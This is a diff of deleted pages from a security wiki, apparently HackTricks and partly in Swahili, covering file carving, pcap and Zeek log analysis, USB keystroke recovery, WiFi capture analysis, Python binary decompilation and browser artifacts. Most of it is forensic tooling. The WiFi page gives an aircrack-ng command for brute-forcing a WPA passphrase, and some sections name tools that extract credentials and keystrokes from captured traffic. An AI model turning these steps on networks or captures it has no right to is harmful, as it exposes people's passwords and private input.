Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
#### Features of BinVis
- Visual and active **muonekano wa muundo**
- Multiple plots for different focus points
- Focusing on portions of a sample
- **Kuona stings na rasilimali**, in PE or ELF executables e. g.
- Getting **mifumo** for cryptanalysis on files
- **Kugundua** packer or encoder algorithms
- **Tambua** Steganography by patterns
- **Visual** binary-diffing
BinVis is a great **nukta ya kuanzia kujifunza kuhusu lengo lisilojulikana** in a black-boxing scenario.
## Specific Data Carving Tools
### FindAES
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
Download [hapa](https://sourceforge.net/projects/findaes/).
## Complementary tools
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,66 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Zana za kuchora
## Autopsy
Zana inayotumika sana katika uchunguzi wa forensics kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, sakinisha na fanya iweze kuchukua faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina nyingine za picha, lakini si faili rahisi.
## Binwalk <a id="binwalk"></a>
**Binwalk** ni zana ya kutafuta faili za binary kama picha na faili za sauti kwa faili na data zilizojumuishwa.
Inaweza kusakinishwa kwa kutumia `apt` hata hivyo [chanzo](https://github.com/ReFirmLabs/binwalk) kinaweza kupatikana kwenye github.
**Amri muhimu**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Zana nyingine ya kawaida ya kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani, ondoa alama ya maoni. Ikiwa hutaondoa alama ya maoni, foremost itatafuta aina za faili zilizowekwa kama chaguo-msingi.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
## **Scalpel**
**Scalpel** ni chombo kingine ambacho kinaweza kutumika kupata na kutoa **faili zilizojumuishwa ndani ya faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwa faili ya usanidi \(_/etc/scalpel/scalpel.conf_\) aina za faili unazotaka ikatoe.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Chombo hiki kinaweza kuskan picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na zaidi **faili**. Unachohitaji kufanya ni:
```text
bulk_extractor memory.img -o out_folder
```
Navigate through **maelezo yote** ambayo chombo kimekusanya \(nywila?\), **chambua** **paket** \(soma [**Pcaps analysis**](../pcap-inspection/index.html)\), tafuta **domeni za ajabu** \(domeni zinazohusiana na **malware** au **zisizokuwepo**\).
## PhotoRec
Unaweza kuipata katika [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka PhotoRec itafute.
![](../../../images/image%20%28524%29.png)
# Vifaa Maalum vya Data Carving
## FindAES
Inatafuta funguo za AES kwa kutafuta mipango yao ya funguo. Inaweza kupata funguo za 128, 192, na 256 bit, kama zile zinazotumiwa na TrueCrypt na BitLocker.
Pakua [hapa](https://sourceforge.net/projects/findaes/).
# Vifaa vya Nyongeza
Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.
Unaweza kutumia chombo cha mistari ya amri za linux **pdftotext** kubadilisha pdf kuwa maandiko na kuisoma.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,212 +0,0 @@
# Pcap Inspection
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> Kumbuka kuhusu **PCAP** dhidi ya **PCAPNG**: kuna toleo mbili za muundo wa faili wa PCAP; **PCAPNG ni mpya na haikubaliwi na zana zote**. Unaweza kuhitaji kubadilisha faili kutoka PCAPNG hadi PCAP kwa kutumia Wireshark au zana nyingine zinazofaa, ili kufanya kazi nayo katika zana nyingine.
## Zana za mtandaoni za pcaps
- Ikiwa kichwa cha pcap yako ni **kilichovunjika** unapaswa kujaribu **kurekebisha** kwa kutumia: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Toa **habari** na tafuta **malware** ndani ya pcap katika [**PacketTotal**](https://packettotal.com)
- Tafuta **shughuli mbaya** kwa kutumia [**www.virustotal.com**](https://www.virustotal.com) na [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
## Toa Habari
Zana zifuatazo ni muhimu kutoa takwimu, faili, n.k.
### Wireshark
> [!NOTE]
> **Ikiwa unakusudia kuchambua PCAP lazima ujue jinsi ya kutumia Wireshark**
Unaweza kupata hila za Wireshark katika:
{{#ref}}
wireshark-tricks.md
{{#endref}}
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(tu linux)_ inaweza **kuchambua** **pcap** na kutoa habari kutoka kwake. Kwa mfano, kutoka kwa faili ya pcap Xplico, inatoa kila barua pepe (protokali za POP, IMAP, na SMTP), maudhui yote ya HTTP, kila simu ya VoIP (SIP), FTP, TFTP, na kadhalika.
**Sakinisha**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**Kimbia**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Kupata _**127.0.0.1:9876**_ kwa akauti _**xplico:xplico**_
Kisha tengeneza **kesi mpya**, tengeneza **sehemu mpya** ndani ya kesi na **pakia** faili ya pcap.
### NetworkMiner
Kama Xplico, ni chombo cha **kuchambua na kutoa vitu kutoka pcaps**. Ina toleo la bure ambalo unaweza **kupakua** [**hapa**](https://www.netresec.com/?page=NetworkMiner). Inafanya kazi na **Windows**.\
Chombo hiki pia ni muhimu kupata **habari nyingine zilizochambuliwa** kutoka kwa pakiti ili uweze kujua kilichokuwa kinaendelea kwa **njia ya haraka**.
### NetWitness Investigator
Unaweza kupakua [**NetWitness Investigator kutoka hapa**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Inafanya kazi kwenye Windows)**.\
Hiki ni chombo kingine muhimu ambacho **kuchambua pakiti** na kupanga habari kwa njia inayofaa ili **kujua kinachoendelea ndani**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
- Kutolewa na kuandika majina ya watumiaji na nywila (HTTP, FTP, Telnet, IMAP, SMTP...)
- Toa hash za uthibitishaji na uzivunje kwa kutumia Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Jenga mchoro wa mtandao wa kuona (Vituo vya Mtandao & watumiaji)
- Toa maswali ya DNS
- Rejesha kila Kikao cha TCP & UDP
- Kukata Faili
### Capinfos
```
capinfos capture.pcap
```
### Ngrep
Ikiwa unatafuta **kitu** ndani ya pcap unaweza kutumia **ngrep**. Hapa kuna mfano ukitumia vichujio vikuu:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
Kutumia mbinu za kawaida za carving kunaweza kuwa na manufaa kutoa faili na taarifa kutoka pcap:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
### Capturing credentials
Unaweza kutumia zana kama [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) kuchambua credentials kutoka pcap au interface ya moja kwa moja.
## Check Exploits/Malware
### Suricata
**Install and setup**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
**Angalia pcap**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ni chombo ambacho
- Hutoa Faili la PCAP na Kutolewa kwa Mito ya Http.
- gzip inachambua mitiririko yoyote iliyoshinikizwa
- Inachunguza kila faili kwa kutumia yara
- Inaandika ripoti.txt
- Kwa hiari huhifadhi faili zinazolingana kwenye Dir
### Uchambuzi wa Malware
Angalia kama unaweza kupata alama yoyote ya malware inayojulikana:
{{#ref}}
../malware-analysis.md
{{#endref}}
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) ni mchambuzi wa trafiki wa mtandao wa wazi na wa kupita. Wengi wa waendeshaji hutumia Zeek kama Msimamizi wa Usalama wa Mtandao (NSM) kusaidia uchunguzi wa shughuli za kushuku au zenye uhalifu. Zeek pia inasaidia aina mbalimbali za kazi za uchambuzi wa trafiki zaidi ya eneo la usalama, ikiwa ni pamoja na kipimo cha utendaji na kutatua matatizo.
Kimsingi, kumbukumbu zinazoundwa na `zeek` si **pcaps**. Hivyo utahitaji kutumia **vifaa vingine** kuchambua kumbukumbu ambapo **habari** kuhusu pcaps ziko.
### Taarifa za Munganisho
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
10.55.100.100 65.52.108.225 443 tcp 86222.4
10.55.100.107 111.221.29.113 443 tcp 86220.1
10.55.100.110 40.77.229.82 443 tcp 86160.1
#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
10.55.100.100 65.52.108.225 1 86222.4
10.55.100.107 111.221.29.113 1 86220.1
10.55.100.110 40.77.229.82 134 86160.1
#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs
+---------------+----------------+--------------------------+----------------+
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### Taarifa za DNS
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Njia Nyingine za Uchambuzi wa pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,14 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Ikiwa una pcap ya muunganisho wa USB wenye usumbufu mwingi, huenda ni muunganisho wa USB Keyboard.
Filter ya wireshark kama hii inaweza kuwa na manufaa: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
Inaweza kuwa muhimu kujua kwamba data inayoanisha na "02" inamaanisha imebonyezwa kwa kutumia shift.
Unaweza kusoma maelezo zaidi na kupata baadhi ya scripts kuhusu jinsi ya kuchambua hii katika:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Ikiwa una pcap inayojumuisha mawasiliano kupitia USB ya kibodi kama ifuatavyo:
![](<../../../images/image (613).png>)
Unaweza kutumia chombo [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) kupata kile kilichoandikwa katika mawasiliano:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Unaweza kusoma maelezo zaidi na kupata baadhi ya scripts kuhusu jinsi ya kuchambua hii katika:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,39 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Angalia BSSIDs
Unapopokea kukamata ambayo trafiki yake kuu ni Wifi ukitumia WireShark unaweza kuanza kuchunguza SSIDs zote za kukamata kwa kutumia _Wireless --> WLAN Traffic_:
![](<../../../images/image (424).png>)
![](<../../../images/image (425).png>)
## Brute Force
Moja ya nguzo za skrini hiyo inaonyesha kama **uthibitisho wowote uligundulika ndani ya pcap**. Ikiwa ndivyo ilivyo unaweza kujaribu kuifanya Brute force kwa kutumia `aircrack-ng`:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Kwa mfano, itapata WPA passphrase inayolinda PSK (pre shared-key), ambayo itahitajika kufungua trafiki baadaye.
# Data katika Beacons / Channel ya Kando
Ikiwa unashuku kwamba **data inavuja ndani ya beacons za mtandao wa Wifi** unaweza kuangalia beacons za mtandao kwa kutumia chujio kama ifuatavyo: `wlan contains <NAMEofNETWORK>`, au `wlan.ssid == "NAMEofNETWORK"` tafuta ndani ya pakiti zilizochujwa kwa nyuzi za kushangaza.
# Pata Anwani za MAC zisizojulikana katika Mtandao wa Wifi
Kiungo kinachofuata kitakuwa na manufaa kupata **mashine zinazotuma data ndani ya Mtandao wa Wifi**:
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Ikiwa tayari unajua **anwani za MAC unaweza kuondoa hizo kutoka kwa matokeo** ukiongeza ukaguzi kama huu: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Mara tu unapogundua **anwani za MAC zisizojulikana** zinazowasiliana ndani ya mtandao unaweza kutumia **vichujio** kama ifuatavyo: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` kuchuja trafiki yake. Kumbuka kwamba vichujio vya ftp/http/ssh/telnet ni vya manufaa ikiwa umepata ufunguo wa trafiki.
# Fungua Trafiki
Hariri --> Mipendeleo --> Protokali --> IEEE 802.11--> Hariri
![](<../../../images/image (426).png>)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,202 +0,0 @@
# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
{{#include ../../../banners/hacktricks-training.md}}
## From Compiled Binary to .pyc
Kutoka kwa **ELF** binary iliyokusanywa unaweza **kupata .pyc** kwa:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
Katika **python exe binary** iliyokusanywa unaweza **kupata .pyc** kwa kukimbia:
```bash
python pyinstxtractor.py executable.exe
```
## Kutoka .pyc hadi msimbo wa python
Kwa data ya **.pyc** ("imeundwa" python) unapaswa kuanza kujaribu **kutoa** **msimbo** wa **asili** wa **python**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Hakikisha** kwamba binary ina **kiambatisho** "**.pyc**" (ikiwa sio, uncompyle6 haitafanya kazi)
Wakati wa kutekeleza **uncompyle6** unaweza kukutana na **makosa yafuatayo**:
### Kosa: Nambari ya uchawi isiyojulikana 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Ili kurekebisha hili unahitaji **kuongeza nambari sahihi ya uchawi** mwanzoni mwa faili lililotengenezwa.
**Nambari za uchawi zinatofautiana kulingana na toleo la python**, ili kupata nambari ya uchawi ya **python 3.8** itabidi **ufungue terminal ya python 3.8** na utekeleze:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
Nambari ya **mchawi** katika kesi hii kwa python3.8 ni **`0x550d0d0a`**, kisha, ili kurekebisha kosa hili utahitaji **kuongeza** mwanzoni mwa **.pyc file** bytes zifuatazo: `0x0d550a0d000000000000000000000000`
**Mara** tu umepata **kuongeza** kichwa hicho cha mchawi, **kosa linapaswa kurekebishwa.**
Hivi ndivyo kichwa cha **.pyc python3.8** kilichoongezwa kwa usahihi kitakavyokuwa:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Hitilafu: Kuondoa makosa ya jumla
**Makosa mengine** kama: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` yanaweza kuonekana.
Hii huenda inamaanisha kwamba **hujazi vizuri** nambari ya kichawi au kwamba huja **tumia** nambari ya kichawi **sahihi**, hivyo **hakikisha unatumia sahihi** (au jaribu mpya).
Angalia hati za makosa ya awali.
## Chombo Kiotomatiki
Chombo cha [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) kinatumika kama mchanganyiko wa zana kadhaa zinazopatikana katika jamii zilizoundwa kusaidia watafiti katika kuondoa na kuondoa makosa ya executable yaliyoandikwa kwa Python, hasa yale yaliyoandikwa kwa py2exe na pyinstaller. Inajumuisha sheria za YARA kubaini ikiwa executable ni ya msingi wa Python na kuthibitisha chombo kilichotumika kuunda.
### ImportError: Jina la faili: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' halipo
Tatizo la kawaida linalokabiliwa linahusisha faili isiyo kamilifu ya bytecode ya Python inayotokana na **mchakato wa kuondoa na unpy2exe au pyinstxtractor**, ambayo kisha **inashindwa kutambuliwa na uncompyle6 kutokana na nambari ya toleo la bytecode ya Python iliyokosekana**. Ili kushughulikia hili, chaguo la kuongezea limeongezwa, ambalo linaongeza nambari muhimu ya toleo la bytecode ya Python, kurahisisha mchakato wa kuondoa makosa.
Mfano wa tatizo:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.
# Successfully decompiled file
[+] Successfully decompiled.
```
## Kuchambua mkusanyiko wa python
Ikiwa hujaweza kutoa "kanuni" ya python kufuatia hatua zilizopita, basi unaweza kujaribu **kutoa** **mkusanyiko** (lakini **siyo wa kueleweka sana**, hivyo **jaribu** kutoa **tena** kanuni ya asili). Katika [hapa](https://bits.theorem.co/protecting-a-python-codebase/) nilipata kanuni rahisi sana ya **kufanya disassembly** ya _.pyc_ binary (bahati njema katika kuelewa mtiririko wa kanuni). Ikiwa _.pyc_ ni kutoka python2, tumia python2:
```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f: # Read the binary file
... magic = f.read(4)
... timestamp = f.read(4)
... code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python to Executable
Ili kuanza, tutakuonyesha jinsi payloads zinavyoweza kukusanywa katika py2exe na PyInstaller.
### Kuunda payload kwa kutumia py2exe:
1. Sakinisha pakiti ya py2exe kutoka [http://www.py2exe.org/](http://www.py2exe.org)
2. Kwa payload (katika kesi hii, tutaiita hello.py), tumia script kama ile katika Mchoro 1. Chaguo “bundle_files” chenye thamani ya 1 kitakusanya kila kitu ikiwa ni pamoja na mfasiri wa Python katika exe moja.
3. Mara tu script ikikamilika, tutatoa amri “python setup.py py2exe”. Hii itaunda executable, kama ilivyo katika Mchoro 2.
```python
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Kuunda payload kwa kutumia PyInstaller:
1. Sakinisha PyInstaller kwa kutumia pip (pip install pyinstaller).
2. Baada ya hapo, tutatoa amri “pyinstaller onefile hello.py” (kumbuka kwamba hello.py ni payload yetu). Hii itakusanya kila kitu katika executable moja.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Marejeo
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,41 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Hapa unaweza kupata mbinu za kuvutia za aina maalum za faili na/au programu:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,162 +0,0 @@
# Browser Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Browser artifacts ni pamoja na aina mbalimbali za data zilizohifadhiwa na vivinjari vya wavuti, kama vile historia ya urambazaji, alama, na data ya cache. Vifaa hivi vinahifadhiwa katika folda maalum ndani ya mfumo wa uendeshaji, vinatofautiana katika eneo na jina kati ya vivinjari, lakini kwa ujumla vinahifadhi aina sawa za data.
Hapa kuna muhtasari wa vifaa vya vivinjari vinavyotumika zaidi:
- **Historia ya Urambazaji**: Inafuatilia ziara za mtumiaji kwenye tovuti, muhimu kwa kutambua ziara kwenye tovuti za uhalifu.
- **Data ya Autocomplete**: Mapendekezo yanayotokana na utafutaji wa mara kwa mara, yanayotoa mwanga unapounganishwa na historia ya urambazaji.
- **Alama**: Tovuti zilizohifadhiwa na mtumiaji kwa ufikiaji wa haraka.
- **Extensions na Add-ons**: Mipanuzi ya vivinjari au add-ons zilizowekwa na mtumiaji.
- **Cache**: Inahifadhi maudhui ya wavuti (mfano, picha, faili za JavaScript) ili kuboresha nyakati za upakiaji wa tovuti, muhimu kwa uchambuzi wa forensics.
- **Logins**: Akiba ya taarifa za kuingia.
- **Favicons**: Icons zinazohusishwa na tovuti, zinazoonekana kwenye tab na alama, muhimu kwa taarifa za ziada kuhusu ziara za mtumiaji.
- **Sessions za Vivinjari**: Data inayohusiana na sessions za vivinjari zilizo wazi.
- **Downloads**: Rekodi za faili zilizopakuliwa kupitia vivinjari.
- **Data za Fomu**: Taarifa zilizoingizwa kwenye fomu za wavuti, zilizohifadhiwa kwa mapendekezo ya autofill ya baadaye.
- **Thumbnails**: Picha za awali za tovuti.
- **Custom Dictionary.txt**: Maneno yaliyoongezwa na mtumiaji kwenye kamusi ya kivinjari.
## Firefox
Firefox inaandaa data za mtumiaji ndani ya profaili, zilizohifadhiwa katika maeneo maalum kulingana na mfumo wa uendeshaji:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Faili ya `profiles.ini` ndani ya hizi folda inataja profaili za mtumiaji. Data za kila profaili huhifadhiwa katika folda iliyo na jina katika variable ya `Path` ndani ya `profiles.ini`, iliyoko katika saraka sawa na `profiles.ini` yenyewe. Ikiwa folda ya profaili inakosekana, inaweza kuwa imefutwa.
Ndani ya kila folda ya profaili, unaweza kupata faili kadhaa muhimu:
- **places.sqlite**: Inahifadhi historia, alama, na downloads. Zana kama [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kwenye Windows zinaweza kufikia data ya historia.
- Tumia maswali maalum ya SQL kutoa taarifa za historia na downloads.
- **bookmarkbackups**: Inahifadhi nakala za alama.
- **formhistory.sqlite**: Inahifadhi data za fomu za wavuti.
- **handlers.json**: Inasimamia wakala wa itifaki.
- **persdict.dat**: Maneno ya kamusi ya kawaida.
- **addons.json** na **extensions.sqlite**: Taarifa kuhusu add-ons na mipanuzi iliyowekwa.
